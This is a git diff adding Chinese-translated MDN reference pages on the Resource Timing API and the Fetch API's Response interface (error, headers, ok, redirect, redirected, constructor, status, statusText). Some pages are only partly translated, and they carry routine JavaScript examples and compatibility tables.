The Resource Timing API includes two methods that extend the {{domxref("Performance")}} interface. The {{domxref("Performance.clearResourceTimings","clearResourceTimings()")}} method removes all "resource" type performance entries from the browser's resource performance entry buffer. The {{domxref("Performance.setResourceTimingBufferSize","setResourceTimingBufferSize()")}} method sets the resource performance entry buffer size to the specified number of resource {{domxref("PerformanceEntry","performance entries")}}.

+ +

The {{domxref("PerformanceResourceTiming")}} interface's {{domxref("PerformanceResourceTiming.toJSON","toJSON()")}} method returns a JSON serialization of a "resource" type {{domxref("PerformanceEntry","performance entry")}}.

+ +

Implementation status

+ +

As shown in the {{domxref("PerformanceResourceTiming")}} interface's Browser Compatibility table, most of these interfaces are broadly implemented by desktop browsers. However, note that some properties have little to no implementation so see each property's "Browser compatibility" section for more specific interoperability data.

+ +

To test your browser's support for these interfaces, run the perf-api-support application.

+ +

附录

+ + diff --git a/files/zh-cn/web/api/resource_timing_api/using_the_resource_timing_api/index.html b/files/zh-cn/web/api/resource_timing_api/using_the_resource_timing_api/index.html new file mode 100644 index 0000000000..ed1981d7e0 --- /dev/null +++ b/files/zh-cn/web/api/resource_timing_api/using_the_resource_timing_api/index.html @@ -0,0 +1,203 @@ +--- +title: Using the Resource Timing API +slug: Web/API/Resource_Timing_API/Using_the_Resource_Timing_API +translation_of: Web/API/Resource_Timing_API/Using_the_Resource_Timing_API +--- +
{{DefaultAPISidebar("Resource Timing API")}}
+ +

Resource Timing API 提供了获取和分析应用程序资源加载的详细网络计时数据的一种途径。应用可以使用一些可量化的时间度量标准,如加载特定资源的时长。这些资源可能是 {{domxref("XMLHttpRequest")}}, {{SVGElement("SVG","SVG element")}}、图片、脚本等等。

+ +

这个接口提供了使用 {{domxref("DOMHighResTimeStamp","高精度时间戳")}} 度量的资源加载时间轴。此时间轴包含众多网络事件的时间,如重定向开始和结束时间,开始请求资源时间,DNS查询开始和结束时间,响应开始和结束时间等等。也包含了请求到的资源的大小、请求发起者的类型

+ +

这篇文档展示了如何使用 Resource Timing 接口。获取更详细的信息或示例,请查看每个接口的文档和{{anch("See also")}}章节。

+ +

Github上有一个真实的例子,这里是它的源码 source code. 欢迎提pull request和报告bug

+ +

资源加载的各个阶段

+ +

应用可以获取到资源加载的各个阶段的时间戳,如重定向、DNS查询、TCP连接建立。这些阶段和他们的属性名在图1中列出。

+ +

Graphic of Resource Timing timestamps
+ 图 1. Resource timing 属性

+ +

应用开发者可以使用这些属性值去计算某个阶段的耗时长度,用来帮助诊断性能问题。

+ +

计算资源加载各阶段的时间

+ +

接下来的这段例子展示了用 Resource timing 属性去计算以下阶段的耗时:重定向 ({{domxref("PerformanceResourceTiming.redirectStart","redirectStart")}} 和 {{domxref("PerformanceResourceTiming.redirectEnd","redirectEnd")}} ),DNS查询({{domxref("PerformanceResourceTiming.domainLookupStart","domainLookupStart")}} 和 {{domxref("PerformanceResourceTiming.domainLookupEnd","domainLookupEnd")}}),TCP握手 ({{domxref('PerformanceResourceTiming.connectStart','connectStart')}} 和 {{domxref('PerformanceResourceTiming.connectEnd','connectEnd')}}), 响应 ({{domxref('PerformanceResourceTiming.responseStart','responseStart')}} 和 {{domxref('PerformanceResourceTiming.responseEnd','responseEnd')}})。 这段例子也计算了从开始获取资源和请求开始(分别为{{domxref("PerformanceResourceTiming.fetchStart","fetchStart")}} and {{domxref("PerformanceResourceTiming.requestStart","requestStart")}})到响应结束 ({{domxref('PerformanceResourceTiming.responseEnd','responseEnd')}}) 的时间.

+ +
function calculate_load_times() {
+  // Check performance support
+  if (performance === undefined) {
+    console.log("= Calculate Load Times: performance NOT supported");
+    return;
+  }
+
+  // Get a list of "resource" performance entries
+  var resources = performance.getEntriesByType("resource");
+  if (resources === undefined || resources.length <= 0) {
+    console.log("= Calculate Load Times: there are NO `resource` performance records");
+    return;
+  }
+
+  console.log("= Calculate Load Times");
+  for (var i=0; i < resources.length; i++) {
+    console.log("== Resource[" + i + "] - " + resources[i].name);
+    // Redirect time
+    var t = resources[i].redirectEnd - resources[i].redirectStart;
+    console.log("... Redirect time = " + t);
+
+    // DNS time
+    t = resources[i].domainLookupEnd - resources[i].domainLookupStart;
+    console.log("... DNS lookup time = " + t);
+
+    // TCP handshake time
+    t = resources[i].connectEnd - resources[i].connectStart;
+    console.log("... TCP time = " + t);
+
+    // Secure connection time
+    t = (resources[i].secureConnectionStart > 0) ? (resources[i].connectEnd - resources[i].secureConnectionStart) : "0";
+    console.log("... Secure connection time = " + t);
+
+    // Response time
+    t = resources[i].responseEnd - resources[i].responseStart;
+    console.log("... Response time = " + t);
+
+    // Fetch until response end
+    t = (resources[i].fetchStart > 0) ? (resources[i].responseEnd - resources[i].fetchStart) : "0";
+    console.log("... Fetch until response end time = " + t);
+
+    // Request start until reponse end
+    t = (resources[i].requestStart > 0) ? (resources[i].responseEnd - resources[i].requestStart) : "0";
+    console.log("... Request start until response end time = " + t);
+
+    // Start until reponse end
+    t = (resources[i].startTime > 0) ? (resources[i].responseEnd - resources[i].startTime) : "0";
+    console.log("... Start until response end time = " + t);
+  }
+}
+
+ +

Size matters?

+ +

The size of an application's resources can affect an application's performance so getting accurate data on resource size can be important (especially for non-hosted resources). The {{domxref("PerformanceResourceTiming")}} interface has three properties that can be used to obtain size data about a resource. The {{domxref('PerformanceResourceTiming.transferSize','transferSize')}} property returns the size (in octets) of the fetched resource including the response header fields plus the response payload body. The {{domxref('PerformanceResourceTiming.encodedBodySize','encodedBodySize')}} property returns the size (in octets) received from the fetch (HTTP or cache), of the payload body, before removing any applied content-codings. {{domxref('PerformanceResourceTiming.decodedBodySize','decodedBodySize')}} returns the size (in octets) received from the fetch (HTTP or cache) of the message body, after removing any applied content-codings.

+ +

The following example demonstrates using these three properties.

+ +
function display_size_data(){
+  // Check for support of the PerformanceResourceTiming.*size properties and print their values
+  // if supported.
+  if (performance === undefined) {
+    console.log("= Display Size Data: performance NOT supported");
+    return;
+  }
+
+  var list = performance.getEntriesByType("resource");
+  if (list === undefined) {
+    console.log("= Display Size Data: performance.getEntriesByType() is  NOT supported");
+    return;
+  }
+
+  // For each "resource", display its *Size property values
+  console.log("= Display Size Data");
+  for (var i=0; i < list.length; i++) {
+    console.log("== Resource[" + i + "] - " + list[i].name);
+    if ("decodedBodySize" in list[i])
+      console.log("... decodedBodySize[" + i + "] = " + list[i].decodedBodySize);
+    else
+      console.log("... decodedBodySize[" + i + "] = NOT supported");
+
+    if ("encodedBodySize" in list[i])
+      console.log("... encodedBodySize[" + i + "] = " + list[i].encodedBodySize);
+    else
+      console.log("... encodedBodySize[" + i + "] = NOT supported");
+
+    if ("transferSize" in list[i])
+      console.log("... transferSize[" + i + "] = " + list[i].transferSize);
+    else
+      console.log("... transferSize[" + i + "] = NOT supported");
+  }
+}
+
+ +

Managing the resource buffer

+ +

Although the browser is required to support at least 150 resource timing performance entries in its resource timing buffer, some applications may use more resources than that limit. To help the developer manage the buffer size, Resource Timing defines two methods that extend the {{domxref("Performance")}} interface. The {{domxref("Performance.clearResourceTimings","clearResourceTimings()")}} method removes all "resource" type performance entries from the browser's resource performance entry buffer. The {{domxref("Performance.setResourceTimingBufferSize","setResourceTimingBufferSize()")}} method sets the resource performance entry buffer size to the specified number of resource {{domxref("PerformanceEntry","performance entries")}}.

+ +

The following example demonstrates the usage of these two methods.

+ +
function clear_resource_timings() {
+  if (performance === undefined) {
+    console.log("= performance.clearResourceTimings(): peformance NOT supported");
+    return;
+  }
+  // Check if Performance.clearResourceTiming() is supported
+  console.log ("= Print performance.clearResourceTimings()");
+  var supported = typeof performance.clearResourceTimings == "function";
+  if (supported) {
+    console.log("... Performance.clearResourceTimings() = supported");
+    performance.clearResourceTimings();
+  } else {
+    console.log("... Performance.clearResourceTiming() = NOT supported");
+    return;
+  }
+  // getEntries should now return zero
+  var p = performance.getEntriesByType("resource");
+  if (p.length == 0)
+    console.log("... Performance data buffer cleared");
+  else
+    console.log("... Performance data buffer NOT cleared (still have `" + p.length + "` items");
+}
+
+function set_resource_timing_buffer_size(n) {
+  if (performance === undefined) {
+    console.log("= performance.setResourceTimingBufferSize(): peformance NOT supported");
+    return;
+  }
+  // Check if Performance.setResourceTimingBufferSize() is supported
+  console.log ("= performance.setResourceTimingBufferSize()");
+  var supported = typeof performance.setResourceTimingBufferSize == "function";
+  if (supported) {
+    console.log("... Performance.setResourceTimingBufferSize() = supported");
+    performance.setResourceTimingBufferSize(n);
+  } else {
+    console.log("... Performance.setResourceTimingBufferSize() = NOT supported");
+  }
+}
+
+ +

The {{domxref("Performance")}} interface has a {{domxref("Performance.onresourcetimingbufferfull","onresourcetimingbufferfull")}} event handler that gets called (with an {{domxref("Event")}} of type {{domxref("Event.type")}} of "{{event("resourcetimingbufferfull")}}") when the browser's resource performance entry buffer is full. The following code example sets a {{domxref("Performance.onresourcetimingbufferfull","onresourcetimingbufferfull")}} event callback in the init() function.

+ +
function buffer_full(event) {
+  console.log("WARNING: Resource Timing Buffer is FULL!");
+  set_resource_timing_buffer_size(200);
+}
+
+function init() {
+  // load some image to trigger "resource" fetch events
+  var image1 = new Image();
+  image1.src = "https://developer.mozilla.org/static/img/opengraph-logo.png";
+  var image2 = new Image();
+  image2.src = "http://mozorg.cdn.mozilla.net/media/img/firefox/firefox-256.e2c1fc556816.jpg"
+
+  // Set a callback if the resource buffer becomes filled
+  performance.onresourcetimingbufferfull = buffer_full;
+}
+
+ +

Coping with CORS

+ +

When {{Glossary("CORS")}} is in effect, many of the timing properties' values are returned as zero unless the server's access policy permits these values to be shared. This requires the server providing the resource to send the {{httpheader("Timing-Allow-Origin")}} HTTP response header with a value specifying the origin or origins which are allowed to get the restricted timestamp values.

+ +
+

The properties which are returned as 0 by default when loading a resource from a domain other than the one of the web page itself: redirectStart, redirectEnd, domainLookupStart, domainLookupEnd, connectStart, connectEnd, secureConnectionStart, requestStart, and responseStart.

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/response/error/index.html b/files/zh-cn/web/api/response/error/index.html new file mode 100644 index 0000000000..57bdd13a0c --- /dev/null +++ b/files/zh-cn/web/api/response/error/index.html @@ -0,0 +1,63 @@ +--- +title: Response.error() +slug: Web/API/Response/error +translation_of: Web/API/Response/error +--- +
{{APIRef("Fetch")}}
+ +

{{domxref("Response")}} 接口的error()方法返回一个包含网络错误相关信息的新Response对象

+ +
+

Note: 这主要与Service Workers有关; 如果您愿意,可以使用error方法返回错误。 错误响应的{{domxref("Response.type","type")}} 被设置为error。

+
+ +
+

Note: 一个“错误”的响应不会真正地暴露给脚本: 对 {{domxref("GlobalFetch.fetch","fetch()")}} 的“错误”响应将会返回promise的reject状态。

+
+ +

语法

+ +
var errorResponse = Response.error();
+ +

参数

+ +

+ +

返回值

+ +

一个 {{domxref("Response")}} 对象

+ +

示例

+ +

TBD (does not yet appear to be supported anywhere).

+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('Fetch','#dom-response-error','error()')}}{{Spec2('Fetch')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.Response.error")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/response/headers/index.html b/files/zh-cn/web/api/response/headers/index.html new file mode 100644 index 0000000000..935518d788 --- /dev/null +++ b/files/zh-cn/web/api/response/headers/index.html @@ -0,0 +1,63 @@ +--- +title: Response.headers +slug: Web/API/Response/headers +translation_of: Web/API/Response/headers +--- +
{{APIRef("Fetch")}}
+ +

{{domxref("Response")}} 接口的只读属性 headers 包含与响应关联的{{domxref("Headers")}}对象。

+ +

语法

+ +
var myHeaders = response.headers;
+ +

+ +

一个 {{domxref("Headers")}} 对象。

+ +

例程

+ +

在我们的 Fetch Response example 例程中(详见 Fetch Response live),我们使用{{domxref("Request.Request","Request()")}}构造函数创建了一个新的{{domxref("Request")}}对象,传入了一个jpg路径。我们接着使用{{domxref("GlobalFetch.fetch","fetch()")}}触发了请求,用{{domxref("Body.blob")}}从响应中提取了blob实例,使用{{domxref("URL.createObjectURL")}}创建了一个URL对象,然后显示在了{{htmlelement("img")}}中。

+ +

注意,在fetch()的顶级块中我们输出了headers到控制台。

+ +
var myImage = document.querySelector('img');
+
+var myRequest = new Request('flowers.jpg');
+
+fetch(myRequest).then(function(response) {
+  console.log(response.headers); // returns a Headers{} object
+  response.blob().then(function(myBlob) {
+    var objectURL = URL.createObjectURL(myBlob);
+    myImage.src = objectURL;
+  });
+});
+ +

规格

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-response-headers','headers')}}{{Spec2('Fetch')}}Initial definition
+ +

浏览器兼容性

+ +

{{Compat("api.Response.headers")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/response/index.html b/files/zh-cn/web/api/response/index.html new file mode 100644 index 0000000000..88547a1e0d --- /dev/null +++ b/files/zh-cn/web/api/response/index.html @@ -0,0 +1,129 @@ +--- +title: Response +slug: Web/API/Response +tags: + - API + - Experimental + - Fetch + - Fetch API + - Interface + - Reference + - Response + - 参考 +translation_of: Web/API/Response +--- +

{{APIRef("Fetch API")}}

+ +

 Fetch API 的 Response 接口呈现了对一次请求的响应数据。

+ +

你可以使用 {{domxref("Response.Response()")}} 构造函数来创建一个 Response 对象,但通常更可能遇到的情况是,其他的API操作返回了一个 Response 对象。例如一个service worker 的 {{domxref("Fetchevent.respondWith")}},或者一个简单的 {{domxref("GlobalFetch.fetch()")}}。

+ +

构造函数

+ +
+
{{domxref("Response.Response","Response()")}}
+
创建一个新的 Response 对象。
+
+ +

属性

+ +
+
{{domxref("Response.headers")}} {{readonlyinline}}
+
包含此 Response 所关联的 {{domxref("Headers")}} 对象。
+
{{domxref("Response.ok")}} {{readonlyinline}}
+
包含了一个布尔值,标示该 Response 成功(HTTP 状态码的范围在 200-299)。
+
{{domxref("Response.redirected")}} {{ReadOnlyInline}}
+
表示该 Response 是否来自一个重定向,如果是的话,它的 URL 列表将会有多个条目。
+
{{domxref("Response.status")}} {{readonlyinline}}
+
包含 Response 的状态码 (例如 200 表示成功)。
+
{{domxref("Response.statusText")}} {{readonlyinline}}
+
包含了与该 Response 状态码一致的状态信息(例如,OK对应 200)。
+
{{domxref("Response.type")}} {{readonlyinline}}
+
包含 Response 的类型(例如,basiccors)。
+
{{domxref("Response.url")}} {{readonlyinline}}
+
包含 Response 的URL。
+
{{domxref("Response.useFinalURL")}}
+
包含了一个布尔值,来标示这是否是该 Response 的最终 URL。
+
+ +

Response 实现了 {{domxref("Body")}} 接口,所以以下属性亦可用:

+ +
+
{{domxref("Body.body")}} {{readonlyInline}}
+
一个简单的 getter,用于暴露一个 {{domxref("ReadableStream")}} 类型的 body 内容。
+
{{domxref("Body.bodyUsed")}} {{readonlyInline}}
+
包含了一个{{domxref("Boolean", "布尔值")}}来标示该 Response 是否读取过 {{domxref("Body")}}。
+
+ +

方法

+ +
+
{{domxref("Response.clone()")}}
+
创建一个 Response 对象的克隆。
+
{{domxref("Response.error()")}}
+
返回一个绑定了网络错误的新的 Response 对象。
+
{{domxref("Response.redirect()")}}
+
用另一个 URL 创建一个新的 Response
+
+ +

Response 实现了 {{domxref("Body")}} 接口,所以以下方法同样可用:

+ +
+
{{domxref("Body.arrayBuffer()")}}
+
读取 {{domxref("Response")}} 对象并且将它设置为已读(因为 Responses 对象被设置为了 stream 的方式,所以它们只能被读取一次),并返回一个被解析为 {{domxref("ArrayBuffer")}} 格式的 Promise 对象。
+
{{domxref("Body.blob()")}}
+
读取 {{domxref("Response")}} 对象并且将它设置为已读(因为 Responses 对象被设置为了 stream 的方式,所以它们只能被读取一次),并返回一个被解析为 {{domxref("Blob")}} 格式的 Promise 对象。
+
{{domxref("Body.formData()")}}
+
读取{{domxref("Response")}} 对象并且将它设置为已读(因为 Responses 对象被设置为了 stream 的方式,所以它们只能被读取一次),并返回一个被解析为 {{domxref("FormData")}} 格式的 Promise 对象。
+
{{domxref("Body.json()")}}
+
读取 {{domxref("Response")}} 对象并且将它设置为已读(因为 Responses 对象被设置为了 stream 的方式,所以它们只能被读取一次),并返回一个被解析为 {{domxref("JSON")}} 格式的 Promise 对象。
+
{{domxref("Body.text()")}}
+
读取 {{domxref("Response")}} 对象并且将它设置为已读(因为 Responses 对象被设置为了 stream 的方式,所以它们只能被读取一次),并返回一个被解析为 {{domxref("USVString")}} 格式的 Promise 对象。
+
+ +

示例

+ +

在我们的基础实例 (点击运行) 中 , 我们使用了一个简单的函数调用 , 调用了 fetch() 函数来获取一张图片并将其显示在 HTML 的 IMG 标签中 , fetch() 函数返回了一个 Promise,它使用与资源获取操作相关联的 Response 对象进行解析. 你会注意到,由于我们正在请求一张图片,我们需要运行{{domxref("Body.blob")}}({{domxref("Response")}} 实现了),以为响应提供正确的 MIME 类型。

+ +
const image = document.querySelector('.my-image');
+fetch('flowers.jpg').then(function(response) {
+  return response.blob();
+}).then(function(blob) {
+  const objectURL = URL.createObjectURL(blob);
+  image.src = objectURL;
+});
+ +

你也可以使用 {{domxref("Response.Response()")}} 这样的构造方法,来创建自定义的 Response 对象:

+ +
const response = new Response();
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#response-class','Response')}}{{Spec2('Fetch')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.Response")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/response/ok/index.html b/files/zh-cn/web/api/response/ok/index.html new file mode 100644 index 0000000000..63448df311 --- /dev/null +++ b/files/zh-cn/web/api/response/ok/index.html @@ -0,0 +1,120 @@ +--- +title: Response.ok +slug: Web/API/Response/ok +translation_of: Web/API/Response/ok +--- +
{{APIRef("Fetch")}}{{SeeCompatTable}}
+ +

{{domxref("Response")}} 接口的只读属性  ok 包含一个布尔值,表明响应是否成功(状态码在200-299范围内).

+ +

语法

+ +
var myOK = response.ok;
+ +

+ +

 {{domxref("Boolean")}}.

+ +

示例

+ +

In our Fetch Response example (see Fetch Response live) we create a new {{domxref("Request")}} object using the {{domxref("Request.Request","Request()")}} constructor, passing it a JPG path. We then fetch this request using {{domxref("GlobalFetch.fetch","fetch()")}}, extract a blob from the response using {{domxref("Body.blob")}}, create an object URL out of it using {{domxref("URL.createObjectURL")}}, and display this in an {{htmlelement("img")}}.

+ +

Note that at the top of the fetch() block we log the response ok value to the console.

+ +
var myImage = document.querySelector('img');
+
+var myRequest = new Request('flowers.jpg');
+
+fetch(myRequest).then(function(response) {
+  console.log(response.ok); // returns true if the response returned successfully
+  response.blob().then(function(myBlob) {
+    var objectURL = URL.createObjectURL(myBlob);
+    myImage.src = objectURL;
+  });
+});
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-response-ok','ok')}}{{Spec2('Fetch')}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(42)}}
+ {{CompatChrome(41)}}[1]
{{CompatGeckoDesktop(39)}}
+ 34[1]
{{CompatNo}} +

29
+ 28[1]

+
{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] This feature is implemented behind a preference.

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/response/redirect/index.html b/files/zh-cn/web/api/response/redirect/index.html new file mode 100644 index 0000000000..ac5f77371c --- /dev/null +++ b/files/zh-cn/web/api/response/redirect/index.html @@ -0,0 +1,85 @@ +--- +title: Response.redirect() +slug: Web/API/Response/redirect +translation_of: Web/API/Response/redirect +--- +
{{APIRef("Fetch")}}
+ +

{{domxref("Response")}} 接口的 redirect() 方法返回一个可以重定向到指定 URL 的 Response

+ +
+

Note: 主要和 ServiceWorker API 有关。 A controlling service worker could intercept a page's request and redirect it as desired. This will actually lead to a real redirect if a service worker sends it upstream.

+
+ +

语法

+ +
var response = Response.redirect(url, status);
+ +

参数

+ +
+
url
+
The URL that the new response is to originate from.
+
status {{optional_inline}}
+
用于 response 的可选的状态码 (e.g., 302.)
+
+ +

返回值

+ +

一个 {{domxref("Response")}} 对象。

+ +

异常

+ + + + + + + + + + + + + + + + + + +
异常类型说明
RangeErrorstatus 不是一个重定向的状态码。
TypeErrorurl 不可用。
+ +

示例

+ +
responseObj.redirect('https://www.example.com', 302);
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('Fetch','#dom-response-redirect','redirect()')}}{{Spec2('Fetch')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Response.redirect")}}

+ +

参阅

+ + diff --git a/files/zh-cn/web/api/response/redirected/index.html b/files/zh-cn/web/api/response/redirected/index.html new file mode 100644 index 0000000000..ad43bb7596 --- /dev/null +++ b/files/zh-cn/web/api/response/redirected/index.html @@ -0,0 +1,85 @@ +--- +title: Response.redirected +slug: Web/API/Response/redirected +translation_of: Web/API/Response/redirected +--- +
{{APIRef("Fetch")}}
+ + + +

{{domxref("Response")}} 接口中只读的 redirected 属性表明该响应是否为一个重定向的请求的结果.

+ +
+

依赖 redirected 过滤重定向很容易导致虚假的重定向阻止你的内容像预期一样生效. 因此, 当调用 {{domxref("GlobalFetch.fetch", "fetch()")}} 时你应该进行过滤操作. 详见下面 {{anch("禁用重定向")}} 的例子.

+
+ +

语法

+ +
var isRedirected = Response.redirected;
+ +

返回值

+ +

一个布尔值 ({{domxref("Boolean")}}), 如果响应来自重定向的请求, 那么将返回 true.

+ +

示例

+ +

检测重定向

+ +

检测某个响应是否来自一个重定向的请求就如同检测 {{domxref("Response")}} 对象中这个标识一样容易. 在下面的代码中, 当 fetch 操作引起了重定向, 一段文本信息会被插入到元素中. 但需要注意的是, 这不像下面 {{anch("禁用重定向")}} 所描述的当重定向不合法时全部阻止的行为一样安全.

+ +
fetch("awesome-picture.jpg").then(function(response) {
+  let elem = document.getElementById("warning-message-box");
+  if (response.redirected) {
+    elem.innerHTML = "Unexpected redirect";
+  } else {
+    elem.innerHTML = "";
+  }
+  return response.blob();
+}).then(function(imageBlob) {
+  let imgObjectURL = URL.createObjectURL(imageBlob);
+  document.getElementById("img-element-id").src = imgObjectURL;
+});
+
+ +

禁用重定向

+ +

由于使用 redirected 过滤重定向会允许虚假的重定向, 你应该像下面的例子这样, 当调用 {{domxref("GlobalFetch.fetch", "fetch()")}} 时在 init 参数中设置重定向模式为 "error" :

+ +
fetch("awesome-picture.jpg", { redirect: "error" }).then(function(response) {
+  return response.blob();
+}).then(function(imageBlob) {
+  let imgObjectURL = URL.createObjectURL(imageBlob);
+  document.getElementById("img-element-id").src = imgObjectURL;
+});
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-response-redirected','redirected')}}{{Spec2('Fetch')}}初始化定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.Response.redirected")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/response/response/index.html b/files/zh-cn/web/api/response/response/index.html new file mode 100644 index 0000000000..7dd909c604 --- /dev/null +++ b/files/zh-cn/web/api/response/response/index.html @@ -0,0 +1,75 @@ +--- +title: Response() +slug: Web/API/Response/Response +translation_of: Web/API/Response/Response +--- +
{{APIRef("Fetch")}}
+ +
+ +

Response() 构造函数创建了一个新的  {{domxref("Response")}} 对象.

+ +

语法

+ +
let myResponse = new Response(body, init);
+ +

参数

+ +
+
body {{optional_inline}}
+
一个定义 response 中 body 的对象. 可以为 null ,或是以下其中一个: +
    +
  • {{domxref("Blob")}}
  • +
  • {{domxref("BufferSource")}}
  • +
  • {{domxref("FormData")}}
  • +
  • {{domxref("ReadableStream")}}
  • +
  • {{domxref("URLSearchParams")}}
  • +
  • {{domxref("USVString")}}
  • +
+
+
init {{optional_inline}}
+
一个参数(options)对象,包含要应用到 response 上的任何自定义设置. 可能参数(options)是: +
    +
  • status: response 的状态码, 例如:200.
  • +
  • statusText: 和状态码关联的状态消息, 例如: OK.
  • +
  • headers: 你想加到 response 上的任何 headers, 包含了一个 {{domxref("Headers")}} 对象或满足对象语法的 {{domxref("ByteString")}} key/value 对 (详见 HTTP headers).
  • +
+
+
+ +

例子

+ +

在我们的 Fetch Response 示例中 (参见Fetch Response live) 我们使用构造函数创建了一个新的Response 对象,传递一个新的 {{domxref("Blob")}} 作为 body, 和一个包含自定义 status statusText的 init 对象:

+ +
var myBlob = new Blob();
+var init = { "status" : 200 , "statusText" : "SuperSmashingGreat!" };
+var myResponse = new Response(myBlob,init);
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-response','Response()')}}{{Spec2('Fetch')}}Initial definition
+ +

浏览器兼容性

+ +

{{Compat("api.Response.Response")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/response/status/index.html b/files/zh-cn/web/api/response/status/index.html new file mode 100644 index 0000000000..cd1ab13bca --- /dev/null +++ b/files/zh-cn/web/api/response/status/index.html @@ -0,0 +1,127 @@ +--- +title: Response.status +slug: Web/API/Response/status +tags: + - Response.status +translation_of: Web/API/Response/status +--- +
{{APIRef("Fetch")}}
+ +


+ {{domxref("Response")}}  接口的status 只读属性包含响应的状态代码(例如,成功为200)。

+ +

语法

+ +
let myStatus = response.status;
+ +

+ +

一个数字(确切来讲是一个unsigned short)

+ +

示例

+ +

In our Fetch Response example (see Fetch Response live) we create a new {{domxref("Request")}} object using the {{domxref("Request.Request","Request()")}} constructor, passing it a JPG path. We then fetch this request using {{domxref("GlobalFetch.fetch","fetch()")}}, extract a blob from the response using {{domxref("Body.blob")}}, create an object URL out of it using {{domxref("URL.createObjectURL")}}, and display this in an {{htmlelement("img")}}.

+ +

Note that at the top of the fetch() block we log the response status value to the console.

+ +
var myImage = document.querySelector('img');
+
+var myRequest = new Request('flowers.jpg');
+
+fetch(myRequest).then(function(response) {
+  console.log(response.status); // returns 200
+  response.blob().then(function(myBlob) {
+    var objectURL = URL.createObjectURL(myBlob);
+    myImage.src = objectURL;
+  });
+});
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-response-status','status')}}{{Spec2('Fetch')}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(42)}}
+ {{CompatChrome(41)}}[1]
{{CompatVersionUnknown}}{{CompatGeckoDesktop(39)}}
+ 34[1]
{{CompatNo}} +

29
+ 28[1]

+
{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] This feature is implemented behind a preference.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/response/statustext/index.html b/files/zh-cn/web/api/response/statustext/index.html new file mode 100644 index 0000000000..812d698a3c --- /dev/null +++ b/files/zh-cn/web/api/response/statustext/index.html @@ -0,0 +1,126 @@ +--- +title: Response.statusText +slug: Web/API/Response/statusText +tags: + - Response.statusText +translation_of: Web/API/Response/statusText +--- +
{{APIRef("Fetch")}}
+ +

{{domxref("Response")}} 接口的 statusText只读属性包含与状态代码相对应的状态消息(例如,对于200可以确定)。

+ +

Syntax

+ +
let myStatusText = response.statusText;
+ +

Value

+ +

A {{domxref("ByteString")}}.

+ +

Example

+ +

In our Fetch Response example (see Fetch Response live) we create a new {{domxref("Request")}} object using the {{domxref("Request.Request","Request()")}} constructor, passing it a JPG path. We then fetch this request using {{domxref("GlobalFetch.fetch","fetch()")}}, extract a blob from the response using {{domxref("Body.blob")}}, create an object URL out of it using {{domxref("URL.createObjectURL")}}, and display this in an {{htmlelement("img")}}.

+ +

Note that at the top of the fetch() block we log the response statusText value to the console.

+ +
var myImage = document.querySelector('img');
+
+var myRequest = new Request('flowers.jpg');
+
+fetch(myRequest).then(function(response) {
+  console.log(response.statusText); // returns "OK" if the response returned successfully
+  response.blob().then(function(myBlob) {
+    var objectURL = URL.createObjectURL(myBlob);
+    myImage.src = objectURL;
+  });
+});
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-response-statustext','statusText')}}{{Spec2('Fetch')}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(42)}}
+ {{CompatChrome(41)}}[1]
{{CompatVersionUnknown}}{{CompatGeckoDesktop(39)}}
+ 34[1]
{{CompatNo}} +

29
+ 28[1]

+
{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] This feature is implemented behind a preference.

+ +

See also

